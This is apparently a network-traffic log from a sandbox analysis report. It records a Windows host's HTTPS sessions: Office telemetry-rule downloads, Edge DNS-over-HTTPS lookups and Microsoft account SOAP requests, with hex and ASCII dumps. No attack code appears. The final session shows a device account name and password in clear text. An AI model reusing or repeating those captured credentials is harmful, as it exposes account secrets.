2024-10-30 22:11:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221137Z-16849878b785jrf8dn0d2rczaw00000009r000000000sw1s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:37 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221137Z-16849878b7828dsgct3vrzta70000000072g00000000agfy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:37 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:37 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221137Z-16849878b78sx229w7g7at4nkg00000006x000000000d6st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:37 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:37 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:37 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221137Z-16849878b78wv88bk51myq5vxc00000008t000000001345g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:37 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:37 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221137Z-16849878b78g2m84h2v9sta29000000007ng0000000021kb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:37 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49852	172.64.41.3	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 22:11:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 22:11:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 22:11:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daebdfe7ff445f3-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 22:11:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&t^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49854	162.159.61.3	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 22:11:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 22:11:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 22:11:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daebdfe8aee2cc3-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 22:11:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 26 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom&r^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49853	162.159.61.3	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 22:11:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 22:11:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 22:11:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daebdfeb818a915-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 22:11:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1d 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49845	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-30 22:11:37 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-30 22:11:37 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 30 Oct 2024 22:10:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 3c8fc702-9b20-4805-8f70-fde22d33eb52 PPServer: PPV: 30 H: SN1PEPF0003FB50 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 22:11:37 GMT Connection: close Content-Length: 1276
2024-10-30 22:11:37 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49846	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:37 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-30 22:11:37 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6c 70 69 71 63 75 69 66 78 61 73 6a 67 71 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 4f 55 71 7a 25 70 49 70 4d 68 64 43 75 30 56 67 73 35 4a 72 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02lpiqcuifxasjgq</Membername><Password>OUqz%pIpMhdCu0Vgs5Jr</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-30 22:11:41 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Wed, 30 Oct 2024 22:10:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 4e76e5d5-d4d5-42c5-a547-cc2ce20f463d PPServer: PPV: 30 H: PH1PEPF00011FB9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 22:11:41 GMT Connection: close Content-Length: 17166
2024-10-30 22:11:41 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 46 43 45 46 37 46 37 35 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 39 65 35 32 32 31 65 36 2d 66 62 31 39 2d 34 63 33 62 2d 39 33 31 38 2d 61 34 34 30 66 34 66 63 30 64 63 61 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse 